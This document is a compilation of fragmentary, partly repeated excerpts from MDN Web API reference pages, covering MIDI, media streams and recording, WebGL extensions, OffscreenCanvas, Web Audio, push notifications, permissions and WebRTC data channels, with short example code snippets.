...our app cannot access files in an arbitrary folder (such as, My Pictures, My Documents) on the user's hard drive either. For more information about restrictions, see the Basic Concepts article. Example The following is a code snippet that shows how you can request a file system storage. //Taking care of the browser-specific prefix window.requestFileSystem = window.requestFileSystem || window.
webkitRequestFileSystem; // The first parameter defines the type of storage: persistent or temporary // Next, set the size of space needed (in bytes) // initFs is the success callback // And the last one is the error callback // for denial of access and other errors. window.requestFileSystem(window.PERSISTENT, 1024*1024,onInitFs,errorHandler); Method overview void requestFileSystem (in ...
MIDIMessageEvent - Web APIs
The MIDIMessageEvent interface of the
Web MIDI API represents the event passed to the onmidimessage event handler of the MIDIInput interface. A midimessage event is fired every time a MIDI message is sent from a device represented by a MIDIInput, for example when a MIDI keyboard key is pressed, a knob is tweaked, or a slider is moved. Constructor MIDIMessageEvent.MIDIMessageEvent Creates a new MIDIMessageEvent object instance. Properties MIDIConnectionEvent.data A Uint8Array containing the data bytes of a single MIDI message. See the MIDI specification for more information on its form. ...
...by a MIDIInput, for example when a MIDI keyboard key is pressed, a knob is tweaked, or a slider is moved. Constructor MIDIMessageEvent.MIDIMessageEvent Creates a new MIDIMessageEvent object instance. Properties MIDIConnectionEvent.data A Uint8Array containing the data bytes of a single MIDI message. See the MIDI specification for more information on its form. Note: Even though the
Web MIDI API specifies a receivedTime property that returns a DOMHighResTimeStamp, Chrome (the only implementation at the time of writing) does not support that property since the basic Event.timeStamp property already returns a DOMHighResTimeStamp in Chrome. Examples // Printing all messages to console navigator.requestMIDIAccess().then(midiAccess => { Array.from(midiAccess.inputs).forEach(inpu...
... Working Draft Initial definition. ...
MediaStreamAudioSourceNode() - Web APIs
Note: Another way to create a MediaStreamAudioSourceNode is to call theAudioContext.createMediaStreamSource() method, specifying the stream from which you want to obtain audio. Syntax audioSourceNode = new MediaStreamAudioSourceNode(context, options); Parameters context An AudioContext representing the audio context you want the node to be associated with. options A MediaStreamAudioSourceOptions object defining the properties you want the MediaStreamAudioSourceNode to have: mediaStream A required property which specifies the MediaStream from which to obtain audio for the node. ...
...representing the audio node whose media is obtained from the specified source stream. Exceptions InvalidStateError The specified MediaStream doesn't have any audio tracks. Examples This example uses getUserMedia() to obtain access to the user's camera, then creates a new MediaStreamAudioSourceNode from its MediaStream. ...
... Working Draft ...
MediaStreamTrackAudioSourceNode() - Web APIs
Another way to create a MediaStreamTrackAudioSourceNode is to call theAudioContext.createMediaStreamTrackSource() method, specifying the MediaStreamTrack from which you want to obtain audio. Syntax audioTrackNode = new MediaStreamTrackAudioSourceNode(context, options); Parameters context An AudioContext representing the audio context you want the node to be associated with. ...
...tedError The specified context is not an AudioContext. InvalidStateError The specified MediaStreamTrack isn't an audio track (that is, its kind property isn't audio. Example This example uses getUserMedia() to obtain access to the user's camera, then creates a new MediaStreamAudioSourceNode from the first audio track provided by the device. ...
... Working Draft ...
Recording a media element - Web APIs
ue }).then(stream => { preview.srcObject = stream; downloadButton.href = stream; preview.captureStream = preview.captureStream || preview.mozCaptureStream; return new Promise(resolve => preview.onplaying = resolve); }).then(() => startRecording(preview.captureStream(), recordingTimeMS)) .then (recordedChunks => { let recordedBlob = new Blob(recordedChunks, { type: "video/
webm" }); recording.src = URL.createObjectURL(recordedBlob); downloadButton.href = recording.src; downloadButton.download = "RecordedVideo.
webm"; log("Successfully recorded " + recordedBlob.size + " bytes of " + recordedBlob.type + " media."); }) .catch(log); }, false); When a click event occurs, here's what happens: Lines 2-4 navigator.mediaDevices.getUserMedia() is...
...) returns a Promise whose resolution handler is called (receiving as input an array of Blob objects containing the chunks of recorded media data) once recording has completed. Lines 11-15 The recording process's resolution handler receives as input an array of media data Blobs locally known as recordedChunks. The first thing we do is merge the chunks into a single Blob whose MIME type is "video/
webm" by taking advantage of the fact that the Blob() constructor concatenates arrays of objects into one object. Then URL.createObjectURL() is used to create an URL that references the blob; this is then made the value of the recorded video playback element's src attribute (so that you can play the video from the blob) as well as the target of the download button's link. Then the download button's ...
...he recorded video playback element's src attribute (so that you can play the video from the blob) as well as the target of the download button's link. Then the download button's download attribute is set. While the download attribute can be a Boolean, you can also set it to a string to use as the name for the downloaded file. So by setting the download link's download attribute to "RecordedVideo.
webm", we tell the browser that clicking the button should download a file named "RecordedVideo.
webm" whose contents are the recorded video. Lines 17-18 The size and type of the recorded media are output to the log area below the two videos and the download button. Line 20 The catch() for all the Promises outputs the error to the logging area by calling our log() function. Handling the stop b...
Media Source API - Web APIs
We can't, for example, combine/split arraybuffers. ...
...We can't, for example, combine/split arraybuffers. ...
...on-standard client/server protocol implementations. The two most common use cases for DASH involve watching content "on demand" or "live." On demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality. Live profile content can introduce latency due to its transcoding and broadcasting, so DASH is not suitable for real time communication like
WebRTC is. It can however support significantly more client connections than
WebRTC. There are numerous available free and open source tools for transcoding content and preparing it for use with DASH, DASH file servers, and DASH client libraries written in JavaScript. Interfaces MediaSource Represents a media source to be played via an HTMLMediaElement object. SourceBuffer Represents a chunk ...
Media Capture and Streams API (Media Stream) - Web APIs
It provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process. Concepts and usage The API is based on the manipulation of a MediaStream object representing a flux of audio- or video-related data. See an example in Get the video. ...
...speaker, like left or right in a stereo audio track. MediaStream objects have a single input and a single output. A MediaStream object generated by getUserMedia() is called local, and has as its source input one of the user's cameras or microphones. A non-local MediaStream may be representing to a media element, like <video> or <audio>, a stream originating over the network, and obtained via the
WebRTC RTCPeerConnection API, or a stream created using the
Web Audio API MediaStreamAudioSourceNode. The output of the MediaStream object is linked to a consumer. It can be a media elements, like <audio> or <video>, the
WebRTC RTCPeerConnection API or a
Web Audio API MediaStreamAudioSourceNode. Interfaces In these reference articles, you'll find the fundamental information you'll need to know abo...
...vents addtrack ended muted overconstrained removetrack started unmuted Guides and tutorials The articles below provide additional guidance and how-to information that will help you learn to use the API, and how to perform specific tasks that you may wish to handle. Capabilities, constraints, and settingsThe twin concepts of constraints and capabilities let the browser and
Web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one. This article discusses capabilities and constraints, as well as media settings, and includes an example we call the Constraint Exerciser. ...
Navigator.share() - Web APIs
Syntax var sharePromise = navigator.share(data); Parameters data An object containing data to share. At least one of the following fields must be specified. Available options are: url: A USVString representing a URL to be shared. text: A USVString representing text to be shared. title: A USVString representing the title to be shared. files: A " FrozenArray" representing the array of file to be shared. Return value A Promise that will be fulfilled once a user has completed a share action (usually the user has chosen an application to share to). ...
...resenting the title to be shared. files: A " FrozenArray" representing the array of file to be shared. Return value A Promise that will be fulfilled once a user has completed a share action (usually the user has chosen an application to share to). It will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing. Examples In our
Web share test (see the source code) there is a button which, when clicked, invokes the
Web Share API to share MDN's URL. The JavaScript looks like this: const shareData = { title: 'MDN', text: 'Learn
web development on MDN!', url: 'https://developer.mozilla.org', } const btn = document.querySelector('button'); const resultPara = document.querySelector('.result'); // Must be triggered some k...
... Draft ...
NodeList.prototype.forEach() - Web APIs
< this.length; i++) { callback.call(thisArg, this[i], i, this); } }; } OR if (window.NodeList && !NodeList.prototype.forEach) { NodeList.prototype.forEach = Array.prototype.forEach; } The above behavior is how many browsers actually implement NodeList.prototype.forEach() (Chrome, for example). Specifications Specification Status Comment
Web IDLThe definition of 'forEach' in that specification. Candidate Recommendation Defines forEach on iterable declarations Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet Ex...
...rEach' in that specification. Candidate Recommendation Defines forEach on iterable declarations Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...orEachChrome Full support 51Edge Full support 16Firefox Full support 50IE No support NoOpera Full support 38Safari Full support 10
WebView Android Full support 51Chrome Android Full support 51Firefox Android Full support 50Opera Android Full support 41Safari iOS Full support 10Samsung Internet Android ...
OES_vertex_array_object.createVertexArrayOES() - Web APIs
Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... ...
... Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... ...
... Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... ...
OES_vertex_array_object.isVertexArrayOES() - Web APIs
Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... ...
... Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... ...
... Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... ...
OES_vertex_array_object - Web APIs
The OES_vertex_array_object extension is part of the
WebGL API and provides vertex array objects (VAOs) which encapsulate vertex array states. These objects keep pointers to vertex data and provide names for different sets of vertex data.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default and the constants and methods are available without the "OES" suffix. ...
...the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default and the constants and methods are available without the "OES" suffix. Constants This extension exposes one new constant, which can be used in the gl.getParameter() method: ext.VERTEX_ARRAY_BINDING_OES Returns a
WebGLVertexArrayObject object when used in the gl.getParameter() method as the pname parameter. Methods This extension exposes four new methods. ext.createVertexArrayOES() Creates a new
WebGLVertexArrayObject. ext.deleteVertexArrayOES() Deletes a given
WebGLVertexArrayObject. ext.isVertexArrayOES() Returns true if a given object is a
WebGLVertexArrayObject. ext.bindVertexArray...
... Examples var oes_vao_ext = gl.getExtension('OES_vertex_array_object'); var vao = oes_vao_ext.createVertexArrayOES(); oes_vao_ext.bindVertexArrayOES(vao); // ... ...
OVR_multiview2 - Web APIs
The OVR_multiview2 extension is part of the
WebGL API and adds support for rendering into multiple views simultaneously. This especially useful for virtual reality (VR) and
WebXR. For more information, see also: Multiview on
WebXR three.js multiview demo Multiview in babylon.js Optimizing Virtual Reality: Understanding Multiview Multiview
WebGL Rendering for Oculus Browser 6.0+
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: Support depends on the system's graphics driver (Windows+ANGLE and Android are supported; Windows+GL, Mac, Linux are not supported). This extension is only available to
WebGL 2 contexts as it needs GLSL 3.00 and texture arrays. Currentl...
... Constants This extension exposes 4 constants that can be used in getParameter() or getFramebufferAttachmentParameter(). FRAMEBUFFER_ATTACHMENT_TEXTURE_NUM_VIEWS_OVR Number of views of the framebuffer object attachment. ...
...Calling checkFramebufferStatus for a framebuffer in this state returns FRAMEBUFFER_INCOMPLETE_VIEW_TARGETS_OVR. Methods framebufferTextureMultiviewOVR() Simultaneously renders to multiple elements of a 2D texture array. Examples This example is taken from the specification. See also this three.js demo for a live multiview example. ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
The OfflineAudioCompletionEvent() constructor of the
Web Audio API creates a new OfflineAudioCompletionEvent object instance. Note: You wouldn't generally use the constructor manually. OfflineAudioCompletionEvents are despatched to OfflineAudioContext instances for legacy reasons. Syntax var offlineAudioCompletionEvent = new OfflineAudioCompletionEvent(type, init) Parameters type Optional A DOMString representing the type of object to create. init Optional Options are as follows: renderedBuffer: The rendered AudioBuffer containing the audio data. Return value A new OfflineAudioCompletionEvent object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'OfflineAudioCompletionEvent()' in that specification. Wor...
...on of 'OfflineAudioCompletionEvent()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 57Notes Notes Before Chrome 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
Working Draft Initial definition. ...
...APIThe definition of 'renderedBuffer' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dBufferChrome Full support 14Edge Full support 12Firefox Full support 25IE No support NoOpera Full support 15Safari Full support 6
WebView Android Full support YesChrome Android Full support 18Firefox Android Full support 26Opera Android Full support 14Safari iOS Full support YesSamsung Internet Android ...
OffscreenCanvas - Web APIs
duced by an OffscreenCanvas One way to use the OffscreenCanvas API, is to use a RenderingContext that has been obtained from an OffscreenCanvas object to generate new frames. Once a new frame has finished rendering in this context, the transferToImageBitmap() method can be called to save the most recent rendered image. This method returns an ImageBitmap object, which can be used in a variety of
Web APIs and also in a second canvas without creating a transfer copy. To display the ImageBitmap, you can use a ImageBitmapRenderingContext context, which can be created by calling canvas.getContext("bitmaprenderer") on a (visible) canvas element. This context only provides functionality to replace the canvas's contents with the given ImageBitmap. A call to ImageBitmapRenderingContext.transferFromI...
...en these two <canvas> elements <canvas id="one"></canvas> <canvas id="two"></canvas> the following code will provide the rendering using an OffscreenCanvas as described above. var one = document.getElementById("one").getContext("bitmaprenderer"); var two = document.getElementById("two").getContext("bitmaprenderer"); var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext('
webgl'); // ... some drawing for the first canvas using the gl context ... // Commit rendering to the first canvas var bitmapOne = offscreen.transferToImageBitmap(); one.transferFromImageBitmap(bitmapOne); // ... some more drawing for the second canvas using the gl context ... // Commit rendering to the second canvas var bitmapTwo = offscreen.transferToImageBitmap(); two.transferFromImageBitmap(b...
...text from that OffscreenCanvas. main.js (main thread code): var htmlCanvas = document.getElementById("canvas"); var offscreen = htmlCanvas.transferControlToOffscreen(); var worker = new Worker("offscreencanvas.js"); worker.postMessage({canvas: offscreen}, [offscreen]); offscreencanvas.js (worker code): onmessage = function(evt) { var canvas = evt.data.canvas; var gl = canvas.getContext("
webgl"); // ... some drawing using the gl context ... }; You can also use requestAnimationFrame in workers onmessage = function(evt) { const canvas = evt.data.canvas; const gl = canvas.getContext("
webgl"); function render(time) { // ... some drawing using the gl context ... requestAnimationFrame(render); } requestAnimationFrame(render); }; Specifications Specificat...
OscillatorNode.detune - Web APIs
tor.detune.setValueAtTime(100, audioCtx.currentTime); // value in cents Note: though the AudioParam returned is read-only, the value it represents is not. Value An a-rate AudioParam. Example The following example shows basic usage of an AudioContext to create an oscillator node. For applied examples/information, check out our Violent Theremin demo (see app.js for relevant code). ...
... Note: though the AudioParam returned is read-only, the value it represents is not. Value An a-rate AudioParam. Example The following example shows basic usage of an AudioContext to create an oscillator node. For applied examples/information, check out our Violent Theremin demo (see app.js for relevant code). ...
... Working Draft ...
OscillatorNode - Web APIs
Table() method. OscillatorNode.start() Specifies the exact time to start playing the tone. OscillatorNode.stop() Specifies the time to stop playing the tone. Examples The following example shows basic usage of an AudioContext to create an oscillator node and to start playing a tone on it. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
...rt playing the tone. OscillatorNode.stop() Specifies the time to stop playing the tone. Examples The following example shows basic usage of an AudioContext to create an oscillator node and to start playing a tone on it. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
... Working Draft ...
PannerNode - Web APIs
Inherits properties from its parent, AudioNode. The orientation and position value are set and retrieved using different syntaxes, since they're stored as AudioParam values. Retrieval is done by accessing, for example, PannerNode.positionX. While setting the same property is done with PannerNode.positionX.value. This is why these values are not marked read only, which is how they appear in the
WebIDL. PannerNode.coneInnerAngle Is a double value describing the angle, in degrees, of a cone inside of which there will be no volume reduction. PannerNode.coneOuterAngle A double value describing the angle, in degrees, of a cone outside of which the volume will be reduced by a constant value, defined by the coneOuterGain attribute. PannerNode.coneOuterGain A double value describing the am...
...upports those, or older methods (like AudioListener.setOrientation()) if it still supports those but not the new properties. ...
... Working Draft ...
PaymentAddress.toJSON() - Web APIs
Candidate Recommendation Initial definition. ...
...e definition of 'toJSON()' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternettoJSON()Chrome Full support 61Disabled Full support 61Disabled Disabled From version 61: this feature is behind the #
web-payments preference (needs to be set to Enabled). To change preferences in Chrome, visit chrome://fla...
... ISO locales, currently US and CA.Disabled From version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 61Disabled Full support 61Disabled Disabled From version 61: this feature is behind the #
web-payments preference (needs to be set to Enabled). To change preferences in Chrome, visit chrome://flags.Firefox Andro...
Performance.timeOrigin - Web APIs
Syntax var timeOrigin = performance.timeOrigin Value A high resolution timestamp. Specifications Specification Status High Resolution Time Level 2The definition of 'timeOrigin' in that specification. Recommendation Browser Compatibility The compatibility table on this page is generated from structured data. ...
... High Resolution Time Level 2The definition of 'timeOrigin' in that specification. Recommendation Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ng InternettimeOrigin ExperimentalChrome Full support 62Edge Full support 16Firefox Full support 53IE ? ...
PerformancePaintTiming - Web APIs
"Paint" refers to conversion of the render tree to on-screen pixels. An application can register a PerformanceObserver for "paint" performance entry types and the observer can retrieve the times that paint events occur. Use this information to help identify areas that take too long to provide a good user experience. ...
...lp identify areas that take too long to provide a good user experience. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformancePaintTiming" target="_top"><rect x="201" y="1" width="220" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformancePaintTiming</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
PerformanceResourceTiming - Web APIs
ched resource as well as the type of resource that initiated the fetch. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PerformanceResourceTiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceResourceTiming</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all...
... Properties This interface extends the following PerformanceEntry properties for resource performance entry types by qualifying and constraining them as follows: PerformanceEntry.entryTypeRead only Returns "resource". PerformanceEntry.nameRead only Returns the resources URL. PerformanceEntry.startTimeRead only Returns the timestamp for the time a resource fetch started. This...
Using the Permissions API - Web APIs
This article provides a basic guide to using the W3C Permissions API, which provides a programmatic way to query the status of API permissions attributed to the current context. The trouble with asking for permission... Let's face it, permissions on the
Web are a necessary evil, and they are not much fun to deal with as developers. Historically, different APIs handle their own permissions inconsistently -- for example the Notifications API allows for explicit checking of permission status and requesting permission, whereas the Geolocation API doesn't (which causes problems if the user denied the initial permission request, as we'll see below). The Permissions API provides the tools to allow developers to implement a better user experience as far as permissions are concerned. For exampl...
...plementation of the API is at an early stage, so support in browsers is pretty spotty: It can only be found in Chrome 44 and later and Firefox 43 and later. The only supported method right now is Permissions.query(), which queries permission status. The only two APIs currently recognized by the Permissions API in Chrome are Geolocation and Notification, with Firefox also recognizing Push and
WebMIDI. More features will be added as time progresses. A simple example For this article, we have put together a simple demo called Location Finder. It uses Geolocation to query the user's current location and plot it out on a Google Map: You can run the example live, or view the source code on Github. Most of the code is simple and unremarkable -- below we'll just be walking through the Per...
...: var revokeBtn = document.querySelector('.revoke'); ... revokeBtn.onclick = function() { revokePermission(); } ... function revokePermission() { navigator.permissions.revoke({name:'geolocation'}).then(function(result) { report(result.state); }); } The revoke() function has been disabled by default starting in Firefox 51, since its design has been brought into question in the
Web Applications Security Working Group. It can be re-enabled by setting the preference dom.permissions.revoke.enable to true. Responding to permission state changes You'll notice that there is an onchange event handler in the code above, attached to the PermissionStatus object -- this allows us to respond to any changes in the permission status for the API we are interested in. At the moment we a...
PushManager.hasPermission() - Web APIs
The PushManager.hasPermission() method of the PushManager interface returns a Promise that resolves to the PushPermissionStatus of the requesting
webapp, which will be one of granted, denied, or default. Syntax PushManager.hasPermission().then(function(pushPermissionStatus) { ... } ); Example // TBD Specification Specification Status Comment Push API Working Draft Defines the PushManager interface. Browser Compatibility The compatibility table on this page is generated from structured data. ...
...ation Status Comment Push API Working Draft Defines the PushManager interface. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 29Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 48Notes Full support 48Notes Notes Push enabled by default.Opera Android Full support 29S...
PushSubscription.getKey() - Web APIs
ription.getKey(name); Parameters name A DOMString representing the encryption method used to generate a client key. The value can be: p256dh: An Elliptic curve Diffie-Hellman public key on the P-256 curve (that is, the NIST secp256r1 elliptic curve). The resulting key is an uncompressed point in ANSI X9.62 format. auth: An authentication secret, as described in Message Encryption for
Web Push. Returns An ArrayBuffer. Example reg.pushManager.getSubscription() .then(function(subscription) { // Enable any UI which subscribes / unsubscribes from // push messages. subBtn.disabled = false; if (!subscription) { console.log('Not yet subscribed to Push') // We aren't subscribed to push, so set UI // to allow the user to enable push return; } // Se...
...ut note that getKey() is not currently specified in here. It is currently Firefox-only experimental. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 29Safari No support No
WebView Android No support NoChrome Android Full support 42Firefox Android Full support 48Opera Android Full support 29Safari iOS No support NoSamsung Internet Android ...
RTCDataChannel.id - Web APIs
ly identifies the RTCDataChannel. This ID is set at the time the data channel is created, either by the user agent (if RTCDataChannel.negotiated is false) or by the site or app script (if negotiated is true). Each RTCPeerConnection can therefore have up to a theoretical maximum of 65,534 data channels on it, although the actual maximum may vary from browser to browser. In early versions of the
WebRTC specification, this property's name was stream. Code that uses that property needs to be updated. Syntax var id = aDataChannel.id; Value An unsigned short value (that is, an integer between 0 and 65,535) which uniquely identifies the data channel. While the label property doesn't have to be unique, this ID number is guaranteed to be unique among all data channels. Additionally, known im...
..., this property's name was stream. Code that uses that property needs to be updated. Syntax var id = aDataChannel.id; Value An unsigned short value (that is, an integer between 0 and 65,535) which uniquely identifies the data channel. While the label property doesn't have to be unique, this ID number is guaranteed to be unique among all data channels. ...
... Candidate Recommendation Initial specification. ...
RTCDataChannel.send() - Web APIs
sing or closed. Different browsers have different limitations on the size of the message you can send. Specifications exist to define how to automatically fragment large messages, but not all browsers implement them, and those that do have various additional restrictions. This will get less complicated over time, but for now, if you have questions, see Understanding message size limits in Using
WebRTC data channels. Syntax RTCDataChannel.send(data); Parameters data The data to transmit across the connection. This may be a USVString, a Blob, an ArrayBuffer, or an ArrayBufferView. Return value undefined. Exceptions InvalidStateError Since the data channel uses a separate transport channel from the media content, it must establish its own connection; if it hasn't finished doin...
...s for transfer, it's possible to encounter scenarios in which the other peer does not support the same ones. For example, if one peer is a modern browser that supports using the EOR (End of Record) flag to indicate when a received message is the last piece of a multi-part object sent using send(). For more information about message size restrictions, see Understanding message size limits in Using
WebRTC data channels. Example In this example, a routine called sendMessage() is created; it accepts an object as input and sends to the remote peer, over the RTCDataChannel, a JSON string with the specified object and a time stamp. var pc = new RTCPeerConnection(); var dc = pc.createDataChannel("BackChannel"); function sendMessage(msg) { let obj = { "message": msg, "timestamp": new Da...
...t and sends to the remote peer, over the RTCDataChannel, a JSON string with the specified object and a time stamp. var pc = new RTCPeerConnection(); var dc = pc.createDataChannel("BackChannel"); function sendMessage(msg) { let obj = { "message": msg, "timestamp": new Date() } dc.send(JSON.stringify(obj)); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.send()' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel - Web APIs
achannel event (which has type RTCDataChannelEvent) to let it know the data channel has been added to the connection. PropertiesAlso inherits properties from: EventTargetbinaryType The property binaryType on the RTCDataChannel interface is a DOMString which specifies the type of JavaScript object which should be used to represent binary data received on the RTCDataChannel. Values allowed by the
WebSocket.binaryType property are also permitted here: "blob" if Blob objects are being used or "arraybuffer" if ArrayBuffer objects are being used. The default is "blob".bufferedAmount Read only The read-only RTCDataChannel property bufferedAmount returns the number of bytes of data currently queued to be sent over the data channel.bufferedAmountLowThreshold The RTCDataChannel property bufferedAm...
... Read only The read-only RTCDataChannel property maxRetransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data channel was created, or null, which indicates that there is no maximum.negotiated Read only The read-only RTCDataChannel property negotiated indicates whether the RTCDataChannel's connection was negotiated by the
Web app (true) or by the
WebRTC layer (false).ordered Read only The read-only RTCDataChannel property ordered indicates whether or not the data channel guarantees in-order delivery of messages; the default is true, which indicates that the data channel is indeed ordered.protocol Read only The read-only RTCDataChannel property protocol returns a DOMString containing the name of the subprotocol in ...
...ly specify "DTLS/SCTP". Example var pc = new RTCPeerConnection(); var dc = pc.createDataChannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel' in that specification. Candidate Recommendation Initial specification. ...
RTCErrorEvent - Web APIs
It's based on the standard Event interface, but adds RTC-specific information describing the error, as shown below. Constructor RTCErrorEvent() Creates and returns a new RTCErrorEvent object. Properties In addition to the standard properties available on the Event interface, RTCErrorEvent also includes the following: error Read only An RTCError object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the SDP or what SCTP cause code was at issue). Methods No additional methods are provided beyond any found on the parent interface, Event. ...
...d only An RTCError object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the SDP or what SCTP cause code was at issue). Methods No additional methods are provided beyond any found on the parent interface, Event. ...
...ther data types used for error events in
WebRTC, as needed for errors with special information sharing requirements. The most common of these is probably RTCPeerConnectionIceErrorEvent, used by the icecandidateerror event, which signals an error that has occurred while gathering ICE candidates during connection negotiation. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCErrorEvent' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidateInit - Web APIs
RTCIceCandidateInit is used when using new RTCIceCandidate() to create a new ICE candidate object. It's also used as the return value from the RTCIceCandidate.toJSON() method, and can be passed directly into RTCPeerConnection.addIceCandidate() to add a candidate to the peer connection. Properties candidate Optional The ICE candidate-attribute. If the candidate is an indicator that there are no further candidates (rather than representing a new candidate), this is the empty string (""). The default is the empty string. ...
... or null if there is no associated media stream. The default is null. sdpMLineIndex Optional The zero-based index of the m-line within the SDP of the media description with which the candidate is associated, or null if no such associated exists. The default is null. usernameFragment Optional A DOMString containing a string which uniquely identifies the remote peer. ...
... A DOMString containing a string which uniquely identifies the remote peer. This string is generated by
WebRTC at the beginning of the session, and at least 24 bits worth of the string contain random data. The string may be up to 256 characters long. This property has no default value and is not present unless set explicitly. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateInit' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidatePairStats - Web APIs
If a RTCStats-based object's type is candidate-pair, it's an RTCIceCandidatePairStats object. Properties RTCIceCandidatePairStats is based upon RTCStats and inherits its properties. In addition, it adds the following new properties: availableIncomingBitrate Optional Provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming RTP streams. ...
...ected. The active candidate pair describes the current configuration of the two ends of the RTCPeerConnection. Any candidate pair that isn't the active pair of candidates for a transport gets deleted if the RTCIceTransport performs an ICE restart, at which point the state of the ICE transport returns to new and negotiation starts once again. For more information, see ICE restart in Lifetime of a
